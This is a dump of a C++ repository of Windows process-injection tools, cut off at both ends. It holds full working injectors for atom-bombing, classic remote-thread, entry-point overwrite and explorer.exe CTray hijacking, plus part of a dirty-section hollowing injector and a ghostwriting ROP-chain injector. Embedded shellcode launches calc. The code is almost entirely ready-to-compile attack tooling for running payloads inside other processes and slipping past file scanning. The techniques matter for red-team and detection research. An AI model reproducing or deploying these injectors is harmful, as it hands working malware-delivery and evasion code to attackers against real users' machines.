| 159 | printf("[Info] - Created suspended process %s with id %d\n", applicationPath, processInformation.dwProcessId); 160 | 161 | // create payload 162 | DWORD payloadSize = 0; 163 | int8_t* payloadBuffer = CreatePayloadBuffer(payloadPath, &payloadSize); 164 | if (!payloadBuffer) 165 | { 166 | printf("[Error] - Failed to read payload\n"); 167 | return 1; 168 | } 169 | 170 | printf("[Info] - Created payload buffer at %p\n", payloadBuffer); 171 | 172 | // create a dirty section of a file that is clean on disc 173 | HANDLE dirtySectionHandle = CreateDirtySectionOfCleanFile(payloadBuffer, payloadSize); 174 | if (!dirtySectionHandle) 175 | { 176 | printf("[Error] - Failed to create dirty section\n"); 177 | return 1; 178 | } 179 | 180 | printf("[Info] - Created dirty section with handle %p\n", dirtySectionHandle); 181 | 182 | NTSTATUS status = STATUS_SUCCESS; 183 | SIZE_T viewSize = 0; 184 | PVOID mappedDirtySection = 0; 185 | 186 | if (!NT_SUCCESS(NtMapViewOfSection(dirtySectionHandle, processInformation.hProcess, 187 | &mappedDirtySection, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_READONLY))) 188 | { 189 | printf("[Error] - NtMapViewOfSection - Failed to map dirty section into suspended process\n"); 190 | return 1; 191 | } 192 | 193 | printf("[Info] - Mapped dirty section into suspended process at %p\n", mappedDirtySection); 194 | 195 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payloadBuffer; 196 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(payloadBuffer + dosHeader->e_lfanew); 197 | DWORD entryPoint = ntHeader->OptionalHeader.AddressOfEntryPoint; 198 | 199 | // get address of remote image base 200 | PROCESS_BASIC_INFORMATION processBasicInformation = {}; 201 | ULONG returnLength = 0; 202 | NTSTATUS error = NtQueryInformationProcess(processInformation.hProcess, ProcessBasicInformation, &processBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); 203 | if (error) 204 | { 205 | printf("Error %d - Failed to query process basic information\n", GetLastError()); 206 | return 1; 207 | } 208 | 209 | int8_t* imageBaseAddress = (int8_t*)processBasicInformation.PebBaseAddress + 2 * sizeof(void*); 210 | 211 | // overwrite remote image base with address of the mapped dirty section 212 | if (!WriteProcessMemory(processInformation.hProcess, imageBaseAddress, &mappedDirtySection, sizeof(void*), NULL)) 213 | { 214 | printf("Error %d - Failed to write new image base\n", GetLastError()); 215 | return 1; 216 | } 217 | 218 | printf("[Info] - Updated remote image base address at %p to dirty payload section %p\n", imageBaseAddress, mappedDirtySection); 219 | 220 | // hijack the thread and make set it up to execute the new entry point 221 | CONTEXT context = CONTEXT(); 222 | context.ContextFlags = CONTEXT_ALL; 223 | if (!GetThreadContext(processInformation.hThread, &context)) 224 | { 225 | printf("[Error] %d - Failed GetThreadContext\n", GetLastError()); 226 | return 1; 227 | } 228 | #ifdef _WIN64 229 | context.Rcx = (DWORD_PTR)mappedDirtySection + entryPoint; 230 | #else 231 | context.Eax = (DWORD_PTR)mappedDirtySection + entryPoint; 232 | #endif 233 | if (!SetThreadContext(processInformation.hThread, &context)) 234 | { 235 | printf("[Error] %d - Failed SetThreadContext\n", GetLastError()); 236 | return 1; 237 | } 238 | 239 | printf("[Info] - Hijacked thread to execute payload entry point %p\n", (int8_t*)mappedDirtySection + entryPoint); 240 | 241 | // continue execution of the suspended process 242 | if (!ResumeThread(processInformation.hThread)) 243 | { 244 | printf("[Error] %d - Failed ResumeThread\n", GetLastError()); 245 | return 1; 246 | } 247 | 248 | printf("[Info] - Resumed execution of hijacked thread\n"); 249 | 250 | return 0; 251 | } -------------------------------------------------------------------------------- /shellcode_injection/atombombing_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects a shellcode payload a process using an APC to call GlobalGetAtomNameA in the remote process (atom-bombing). 3 | * The shellcode can then be executed using any execution primitive. We use CreateRemoteThread here because its the most convinient. 4 | * Supports 32- and 64 Bit applications. 5 | * [Requirements] 6 | * - atleast one thread must be in alertable state at some point 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #ifdef _WIN64 14 | // https://www.exploit-db.com/shellcodes/49819 15 | // added infinity loop so the remote thread doesnt crash "\xeb\xfe\ 16 | // added null terminator required for GlobalAddAtomA "x00" 17 | unsigned char popCalcNullTerminated[] = 18 | "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" 19 | "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" 20 | "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" 21 | "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" 22 | "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" 23 | "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" 24 | "\x48\x83\xec\x20\x41\xff\xd6\xeb\xfe\x00"; 25 | #else 26 | // https://www.exploit-db.com/shellcodes/48116 27 | // removed ExitProcess call at the end 28 | // added infinity loop so the remote thread doesnt crash "\xeb\xfe\ 29 | // added null terminator required for GlobalAddAtomA "x00" 30 | char popCalcNullTerminated[] = 31 | "\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b" 32 | "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3" 33 | "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24" 34 | "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14" 35 | "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18" 36 | "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74" 37 | "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41" 38 | "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52" 39 | "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51" 40 | "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff" 41 | "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f" 42 | "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\xeb\xfe\x00"; 43 | #endif 44 | 45 | typedef VOID(*PPS_APC_ROUTINE)( 46 | _In_opt_ PVOID ApcArgument1, 47 | _In_opt_ PVOID ApcArgument2, 48 | _In_opt_ PVOID ApcArgument3 49 | ); 50 | 51 | using fnNtQueueApcThread = NTSTATUS(NTAPI*)( 52 | _In_ HANDLE ThreadHandle, 53 | _In_ PPS_APC_ROUTINE ApcRoutine, 54 | _In_opt_ PVOID ApcArgument1, 55 | _In_opt_ PVOID ApcArgument2, 56 | _In_opt_ PVOID ApcArgument3 57 | ); 58 | 59 | int main(int argc, char* argv[]) 60 | { 61 | const char* processName; 62 | 63 | if (argc != 2) 64 | { 65 | printf("Usage: *.exe processName\n"); 66 | return 1; 67 | } 68 | 69 | processName = argv[1]; 70 | 71 | HMODULE ntdllHandle = GetModuleHandle("ntdll.dll"); 72 | if (!ntdllHandle) 73 | { 74 | printf("[Error] %d - Failed to acquire ntdll handle\n", GetLastError()); 75 | return 1; 76 | } 77 | 78 | fnNtQueueApcThread NtQueueApcThread = (fnNtQueueApcThread)GetProcAddress(ntdllHandle, "NtQueueApcThread"); 79 | if (!NtQueueApcThread) 80 | { 81 | printf("[Error] %d - Failed to resolve NtQueueApcThread in ntdll\n", GetLastError()); 82 | return 1; 83 | } 84 | 85 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 86 | if (processesSnapshot == INVALID_HANDLE_VALUE) 87 | { 88 | printf("[Error] %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 89 | return 1; 90 | } 91 | 92 | // get first process of snapshot 93 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 94 | if (!Process32First(processesSnapshot, &processEntry)) 95 | { 96 | printf("[Error] %d - Failed to Process32First\n", GetLastError()); 97 | return 1; 98 | } 99 | 100 | bool foundTargetProcess = false; 101 | // iterate processes 102 | do 103 | { 104 | // check if we found the target process 105 | if (strcmpi(processEntry.szExeFile, processName) == 0) 106 | { 107 | foundTargetProcess = true; 108 | break; 109 | } 110 | } while (Process32Next(processesSnapshot, &processEntry)); 111 | 112 | if (!foundTargetProcess) 113 | { 114 | printf("[Error] - Failed to find process: %s\n", processName); 115 | return 1; 116 | } 117 | 118 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 119 | if (!targetProcessHandle) 120 | { 121 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 122 | return 1; 123 | } 124 | 125 | // get first thread of snapshot 126 | THREADENTRY32 currentThreadEntry = { sizeof(THREADENTRY32) }; 127 | if (!Thread32First(processesSnapshot, ¤tThreadEntry)) 128 | { 129 | printf("[Error] %d - Failed to Thread32First\n", GetLastError()); 130 | return 1; 131 | } 132 | 133 | // allocate remote memory 134 | LPVOID remoteMemory = VirtualAllocEx(targetProcessHandle, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 135 | if (!remoteMemory) 136 | { 137 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 138 | return 1; 139 | } 140 | 141 | // user32dll needs to be loaded for GlobalAddAtomA to work.. 142 | LoadLibrary("User32.dll"); 143 | 144 | ATOM shellcodeAtom = GlobalAddAtomA((char*)popCalcNullTerminated); 145 | if (!shellcodeAtom) 146 | { 147 | printf("[Error] %d - Failed to GlobalAddAtomA\n", GetLastError()); 148 | return 1; 149 | } 150 | 151 | // iterate over target processes threads and inject APC into each of them 152 | // this increases the chance of the shellcode being executed since only one of the thread needs to reach an alertable state 153 | do 154 | { 155 | if (currentThreadEntry.th32OwnerProcessID == processEntry.th32ProcessID) 156 | { 157 | HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, currentThreadEntry.th32ThreadID); 158 | if (!threadHandle) 159 | { 160 | printf("[Warning] %d - Failed to acquire thread handle\n", GetLastError()); 161 | continue; 162 | } 163 | NtQueueApcThread(threadHandle, (PPS_APC_ROUTINE)GlobalGetAtomNameA, (PVOID)shellcodeAtom, remoteMemory, (PVOID)(sizeof(popCalcNullTerminated))); 164 | printf("[Info] - Queued APC for thread %d\n", currentThreadEntry.th32ThreadID); 165 | CloseHandle(threadHandle); 166 | } 167 | } while (Thread32Next(processesSnapshot, ¤tThreadEntry)); 168 | 169 | // check if a thread wrote the payload. There are also other methods such as Sleep(X) and hope for the best. 170 | int remotePayloadBuffer; 171 | do 172 | { 173 | ReadProcessMemory(targetProcessHandle, remoteMemory, &remotePayloadBuffer, sizeof(int), nullptr); 174 | Sleep(100); 175 | } while (remotePayloadBuffer == 0); 176 | 177 | // create a remote thread to execute. We could also use other techniques such as thread hijacking 178 | HANDLE hThread = CreateRemoteThread(targetProcessHandle, nullptr, 0, reinterpret_cast(remoteMemory), nullptr, 0, nullptr); 179 | if (!hThread) 180 | { 181 | printf("[Error] %d - Failed to CreateRemoteThread\n", GetLastError()); 182 | return 1; 183 | } 184 | 185 | return 0; 186 | } -------------------------------------------------------------------------------- /shellcode_injection/classic_shellcode_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into a process 3 | * Supports 32- and 64 Bit applications. 4 | * [Warning] - The current implementation crashes the target process after executing the shellcode. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "../payload/shellcode.hpp" 13 | 14 | 15 | int main(int argc, char* argv[]) 16 | { 17 | const char* processName; 18 | 19 | if (argc != 2) 20 | { 21 | printf("Usage: *.exe processName\n"); 22 | return 1; 23 | } 24 | 25 | processName = argv[1]; 26 | 27 | printf("[Info] - Injecting shellcode into %s\n", processName); 28 | 29 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 30 | if (processesSnapshot == INVALID_HANDLE_VALUE) 31 | { 32 | printf("[Error] %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 33 | return 1; 34 | } 35 | 36 | // get first process of snapshot 37 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 38 | if (!Process32First(processesSnapshot, &processEntry)) 39 | { 40 | printf("[Error] %d - Failed to Process32First\n", GetLastError()); 41 | return 1; 42 | } 43 | 44 | bool foundTargetProcess = false; 45 | 46 | // iterate processes 47 | do 48 | { 49 | // check if we found the target process 50 | if (strcmpi(processEntry.szExeFile, processName) == 0) 51 | { 52 | foundTargetProcess = true; 53 | break; 54 | } 55 | } while (Process32Next(processesSnapshot, &processEntry)); 56 | 57 | if (!foundTargetProcess) 58 | { 59 | printf("[Error] - Failed to find process: %s\n", processName); 60 | return 1; 61 | } 62 | 63 | printf("[Info] - Found Process %s with pid %d\n", processName, processEntry.th32ProcessID); 64 | 65 | // acquire a handle to the target process 66 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 67 | if (!targetProcessHandle) 68 | { 69 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 70 | return 1; 71 | } 72 | 73 | printf("[Info] - Acquired process handle %p\n", targetProcessHandle); 74 | 75 | // allocate memory in the target process 76 | LPVOID remoteMemory = VirtualAllocEx(targetProcessHandle, nullptr, MAX_PATH, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 77 | if (!remoteMemory) 78 | { 79 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 80 | return 1; 81 | } 82 | 83 | printf("[Info] - Allocated remote memory at %p\n", remoteMemory); 84 | 85 | // write shellcode into target process 86 | if (!WriteProcessMemory(targetProcessHandle, remoteMemory, shellcode, sizeof(shellcode) - 1, NULL)) 87 | { 88 | printf("[Error] %d - Failed to write .dll path to target process\n", GetLastError()); 89 | return 1; 90 | } 91 | 92 | printf("[Info] - Wrote payload to %p\n", remoteMemory); 93 | 94 | // create a thread in the target process which loads the .dll 95 | HANDLE hThread = CreateRemoteThread( 96 | targetProcessHandle, 97 | nullptr, 98 | NULL, 99 | reinterpret_cast(remoteMemory), 100 | NULL, 101 | NULL, 102 | nullptr 103 | ); 104 | 105 | if (!hThread) 106 | { 107 | printf("[Error] %d - Failed to CreateRemoteThread\n", GetLastError()); 108 | return 1; 109 | } 110 | 111 | printf("[Info] - Created remote thread. Executing %p\n", remoteMemory); 112 | 113 | CloseHandle(hThread); 114 | } -------------------------------------------------------------------------------- /shellcode_injection/entrypoint_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Creates a suspended process of the supplied binary path and replaces its entry point with shellcode before resuming its execution. 3 | * Supports 32- and 64 Bit applications. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "../payload/shellcode.hpp" 12 | 13 | 14 | int main(int argc, char* argv[]) 15 | { 16 | if (argc != 2) 17 | { 18 | printf("Usage: *.exe executablePath\n"); 19 | return 1; 20 | } 21 | 22 | LPSTR binaryPath = argv[1]; 23 | 24 | STARTUPINFOA startupInfo = {}; 25 | PROCESS_INFORMATION processInformation = {}; 26 | PROCESS_BASIC_INFORMATION processBasicInformation = {}; 27 | ULONG returnLength = 0; 28 | 29 | // create the process in a suspended state 30 | if (!CreateProcessA(0, binaryPath, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &startupInfo, &processInformation)) 31 | { 32 | printf("[Error] %d - Failed to create process %s\n", GetLastError(), binaryPath); 33 | return 1; 34 | } 35 | 36 | printf("[Info] - Created process %d in suspended state\n", processInformation.dwProcessId); 37 | 38 | // get process basic information 39 | NTSTATUS error = NtQueryInformationProcess(processInformation.hProcess, ProcessBasicInformation, &processBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); 40 | if (error) 41 | { 42 | printf("[Error] %d - Failed to query process basic information\n", GetLastError()); 43 | return 1; 44 | } 45 | 46 | // read base address of process 47 | int64_t pebOffset = (int64_t)processBasicInformation.PebBaseAddress + 2 * sizeof(void*); 48 | LPVOID processBasesAddress = 0; 49 | if (!ReadProcessMemory(processInformation.hProcess, (LPCVOID)pebOffset, &processBasesAddress, sizeof(void*), NULL)) 50 | { 51 | printf("[Error] %d - Failed to read PEB offset\n", GetLastError()); 52 | return 1; 53 | } 54 | 55 | // read PE headers 56 | const int PE_BUFFER_SIZE = 4096; 57 | int8_t peBuffer[PE_BUFFER_SIZE] = {}; 58 | if (!ReadProcessMemory(processInformation.hProcess, processBasesAddress, peBuffer, PE_BUFFER_SIZE, NULL)) 59 | { 60 | printf("[Error] %d - Failed to read PE header\n", GetLastError()); 61 | return 1; 62 | } 63 | 64 | printf("[Info] - Read PE header at %p\n", processBasesAddress); 65 | 66 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer; 67 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(peBuffer + dosHeader->e_lfanew); 68 | LPVOID entryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (int64_t)processBasesAddress); 69 | 70 | // write the shellcode to the entry point 71 | if (!WriteProcessMemory(processInformation.hProcess, entryPoint, shellcode, sizeof(shellcode)-1, NULL)) 72 | { 73 | printf("[Error] %d - Failed to write shellcode to entry point\n", GetLastError()); 74 | return 1; 75 | } 76 | 77 | printf("[Info] - Wrote shellcode to entrypoint at %p\n", entryPoint); 78 | 79 | // resume the thread of the suspended process 80 | if (ResumeThread(processInformation.hThread) == -1) 81 | { 82 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 83 | return 1; 84 | } 85 | 86 | printf("[Info] - Resumed thread %p\n", processInformation.hThread); 87 | 88 | return 0; 89 | } -------------------------------------------------------------------------------- /shellcode_injection/ewmi_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into explorer.exe using extra window bytes 3 | * Supports 32- and 64 Bit applications. 4 | * [Warning] - The current implementation crashes the target process after executing the shellcode. 5 | * This is because we overwrite the WNDPROC callback function which takes 4 parameters and our shellcode doesn't clean the stack correctly. 6 | * based on: https://modexp.wordpress.com/2018/08/26/process-injection-ctray/ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | #include "../payload/shellcode.hpp" 13 | 14 | struct CTray 15 | { 16 | void* VFTable; 17 | void* AddRef; 18 | void* Release; 19 | void* WndProc; 20 | }; 21 | 22 | int main(int argc, char* argv[]) 23 | { 24 | HWND shellTrayWindowHandle = FindWindowA("Shell_TrayWnd", NULL); 25 | if (!shellTrayWindowHandle) 26 | { 27 | printf("[Error] - Failed find window Shell_TrayWnd\n"); 28 | return 1; 29 | } 30 | 31 | DWORD explorerPid; 32 | if (!GetWindowThreadProcessId(shellTrayWindowHandle, &explorerPid)) 33 | { 34 | printf("[Error] %d - Failed GetWindowThreadProcessId\n", GetLastError()); 35 | return 1; 36 | } 37 | 38 | HANDLE explorerProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid); 39 | if (!explorerProcessHandle) 40 | { 41 | printf("[Error] %d - Failed to acquire explorer.exe process handle\n", GetLastError()); 42 | return 1; 43 | } 44 | 45 | LONG_PTR cTrayPointer = GetWindowLongPtr(shellTrayWindowHandle, 0); 46 | if (!cTrayPointer) 47 | { 48 | printf("[Error] %d - Failed to get CTray object (GetWindowLongPtr)\n", GetLastError()); 49 | return 1; 50 | } 51 | 52 | CTray cTray; 53 | if (!ReadProcessMemory(explorerProcessHandle, (LPVOID)cTrayPointer, (LPVOID)&cTray.VFTable, sizeof(ULONG_PTR), nullptr)) 54 | { 55 | printf("[Error] %d - Failed to read CTray object from remote project\n", GetLastError()); 56 | return 1; 57 | } 58 | 59 | if (!ReadProcessMemory(explorerProcessHandle, (LPVOID)cTray.VFTable, (LPVOID)&cTray.AddRef, sizeof(ULONG_PTR) * 3, nullptr)) 60 | { 61 | printf("[Error] %d - Failed to read virtual function table entries of CTray object\n", GetLastError()); 62 | return 1; 63 | } 64 | 65 | int8_t* remotePayloadBuffer = (int8_t*)VirtualAllocEx(explorerProcessHandle, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 66 | if (!remotePayloadBuffer) 67 | { 68 | printf("[Error] %d - Failed to allocate remote memory for payload\n", GetLastError()); 69 | return 1; 70 | } 71 | 72 | if (!WriteProcessMemory(explorerProcessHandle, remotePayloadBuffer, shellcode, sizeof(shellcode), nullptr)) 73 | { 74 | printf("[Error] %d - Failed to write payload to remote process\n", GetLastError()); 75 | return 1; 76 | } 77 | 78 | int8_t* maliciousCTrayBuffer = (int8_t*)VirtualAllocEx(explorerProcessHandle, NULL, sizeof(cTray), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 79 | if (!maliciousCTrayBuffer) 80 | { 81 | printf("[Error] %d - Failed to allocate remote memory for malicious CTray object\n", GetLastError()); 82 | return 1; 83 | } 84 | 85 | // the functions inside the vtable are right behind the vtable pointer in memory as defined in the CTray struct 86 | cTray.VFTable = maliciousCTrayBuffer + sizeof(void*); 87 | cTray.WndProc = remotePayloadBuffer; 88 | 89 | if (!WriteProcessMemory(explorerProcessHandle, maliciousCTrayBuffer, &cTray, sizeof(cTray), nullptr)) 90 | { 91 | printf("[Error] %d - Failed to write malicious CTray object to remote process\n", GetLastError()); 92 | return 1; 93 | } 94 | 95 | if (!SetWindowLongPtr(shellTrayWindowHandle, 0, (ULONG_PTR)maliciousCTrayBuffer)) 96 | { 97 | printf("[Error] %d - Failed update window to malicious CTray\n", GetLastError()); 98 | return 1; 99 | } 100 | 101 | SendMessageA(shellTrayWindowHandle, WM_CLOSE, 0, 0); 102 | 103 | if (!SetWindowLongPtr(shellTrayWindowHandle, 0, cTrayPointer)) 104 | { 105 | printf("[Error] %d - Failed to restore CTray object to original\n", GetLastError()); 106 | return 1; 107 | } 108 | 109 | // cleanup 110 | VirtualFreeEx(explorerProcessHandle, remotePayloadBuffer, 0, MEM_RELEASE); 111 | VirtualFreeEx(explorerProcessHandle, maliciousCTrayBuffer, 0, MEM_RELEASE); 112 | CloseHandle(explorerProcessHandle); 113 | return 0; 114 | } -------------------------------------------------------------------------------- /shellcode_injection/ghostwriting_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode using a ghost-writing (ROP based) technique. 3 | * The implementaion uses a ROP chain to call VirtualProtect and make the stack executable to execute its payload. 4 | * Note: 5 | * - 32 bit ROP chain uses gadgets in ntdll.dll and kernel32.dll 6 | - 64 bit ROP chain uses gadgets in ntdll.dll 7 | * - The ghostwriting uses gadgets from ntdll.dll 8 | * - For 64 bit you can set "useRopChain" to false to allocate executable memory using VirtualAllocEx instead of using a ROP chain. This still requires the writegadget and endless loop for ghostwriting to be found. 9 | * Supports 32- and 64 Bit applications. 10 | * The current implementation does not support Windows 7. 11 | * The hijacked thread may require the target application to be focused or some interaction to execute. 12 | * Based on: https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf, https://www.shogunlab.com/blog/2018/02/11/zdzg-windows-exploit-5.html 13 | */ 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include "../payload/shellcode.hpp" 20 | 21 | #ifdef _WIN64 22 | bool useRopChain = true; 23 | #define Xip Rip 24 | #else 25 | #define Xip Eip 26 | #endif 27 | 28 | 29 | 30 | // generated using the mona.py script inside "Immunity Debugger" 31 | // the ROP chain contains offsets into ntddl and kernel32, which are rebased before the ROP chain is written to the remote process 32 | unsigned int virtualProtectRopChain[] = { 33 | //[---INFO:gadgets_to_set_esi:---] 34 | 0xF9CD1, // POP EAX // RETN [ntdll.dll] 35 | 0x81364, // ptr to &VirtualProtect() [IAT KERNEL32.DLL] ** REBASED ** ASLR 36 | 0x48438, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNEL32.DLL] 37 | 0x6E1F6, // PUSH EAX // MOV DWORD PTR DS:[ESI+54],ECX // POP ESI // RETN [KERNEL32.DLL] 38 | //[---INFO:gadgets_to_set_ebp:---] 39 | 0x7A451, // POP EBP // RETN [ntdll.dll] 40 | 0x1C712, // & push esp // ret [ntdll.dll] ** REBASED ** ASLR 41 | //[---INFO:gadgets_to_set_ebx:---] 42 | 0x2BA7B, // POP EBX // RETN [ntdll.dll] 43 | 0x00000201, // 0x00000201-> ebx 44 | //[---INFO:gadgets_to_set_edx:---] 45 | 0x7B063, // POP EDX // RETN [ntdll.dll] 46 | 0x00000040, // 0x00000040-> edx 47 | //[---INFO:gadgets_to_set_ecx:---] 48 | 0x5DFE3, // POP ECX // RETN [ntdll.dll] 49 | 0x128923, // &Writable location [ntdll.dll] ** REBASED ** ASLR 50 | //[---INFO:gadgets_to_set_edi:---] 51 | 0x6C8B6, // POP EDI // RETN [KERNEL32.DLL] 52 | 0x4A91A, // RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR 53 | //[---INFO:gadgets_to_set_eax:---] 54 | 0xE78CA, // POP EAX // RETN [ntdll.dll] 55 | 0x90909090, // nop 56 | //[---INFO:pushad:---] 57 | 0x4EA16, // PUSHAD // RETN [ntdll.dll] //order of pushes EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI 58 | }; 59 | 60 | 61 | // x64 ropchain. All gadgets are inside ntdll.dll 62 | DWORD_PTR virtualProtectRopChain64[] = { 63 | 0x00000000000010df, // pop rdi; ret 64 | 0x1111111111111111, // VirtualProtectAddress 65 | 0x000000000001a853, // pop rcx; ret 66 | 0x2222222222222222, // targetAddress, 67 | 0x000000000008c547, // pop rdx; pop r11; ret 68 | 0x0000000000000200, // size 69 | 0x6666666666666666, // trash r11 (gadget sideeffect) 70 | 0x0000000000007223, // pop r8; ret 71 | 0x0000000000000040, // newProtection (PAGE_EXECUTE_READWRITE) 72 | 0x000000000008c544, // pop r9; pop r10; pop r11; ret 73 | 0x3333333333333333, // oldProtection (just some pointer to writeable memory) 74 | 0x4444444444444444, // trash r10 (gadget sideeffect) 75 | 0x5555555555555555, // trash r11 (gadget sideeffect) 76 | 0x00000000000481c5, // push rdi; ret (this instruction calls VirtualProtect since we put its address into rdi earlier) 77 | 0x7777777777777777, // Address of the written shellcode on the stack. VirtuaProtect will use this address to return to after its call. 78 | }; 79 | 80 | // from https://github.com/frk1/PolandCheater-perfecthook/blob/master/PerfectHook/Utilities.cpp 81 | BYTE* FindBytePattern(const char* module, const char* signature) 82 | { 83 | static auto ConvertPatternToBytes = [](const char* pattern) 84 | { 85 | std::vector bytes = std::vector{}; 86 | char* start = const_cast(pattern); 87 | char* end = const_cast(pattern) + strlen(pattern); 88 | 89 | for (char* current = start; current < end; ++current) 90 | { 91 | if (*current == '?') 92 | { 93 | ++current; 94 | if (*current == '?') 95 | { 96 | ++current; 97 | } 98 | bytes.push_back(-1); 99 | } 100 | else 101 | { 102 | bytes.push_back(strtoul(current, ¤t, 16)); 103 | } 104 | } 105 | return bytes; 106 | }; 107 | 108 | BYTE* moduleBaseAddress = (BYTE*)GetModuleHandleA(module); 109 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBaseAddress; 110 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((std::uint8_t*)moduleBaseAddress + dosHeader->e_lfanew); 111 | 112 | auto sizeOfImage = ntHeaders->OptionalHeader.SizeOfImage; 113 | auto patternBytes = ConvertPatternToBytes(signature); 114 | uint8_t* currentAddress = reinterpret_cast(moduleBaseAddress); 115 | 116 | int patternSize = patternBytes.size(); 117 | int* patternData = patternBytes.data(); 118 | 119 | for (int i = 0; i < sizeOfImage - patternSize; ++i) 120 | { 121 | bool found = true; 122 | for (int j = 0; j < patternSize; ++j) 123 | { 124 | if (currentAddress[i + j] != patternData[j] && patternData[j] != -1) 125 | { 126 | found = false; 127 | break; 128 | } 129 | } 130 | if (found) 131 | { 132 | return ¤tAddress[i]; 133 | } 134 | } 135 | return nullptr; 136 | } 137 | 138 | void RebaseRopChain() 139 | { 140 | // we use ntdll and kernel32 since they are loaded for each process by default 141 | // we can use this processes addresses for ntdll and kernel32 since the ASLR offset will be the same in the remote process 142 | DWORD_PTR currentNtdllBaseAdress = (DWORD_PTR)GetModuleHandle("ntdll.dll"); 143 | DWORD_PTR currentKernel32BaseAdress = (DWORD_PTR)GetModuleHandle("kernel32.dll"); 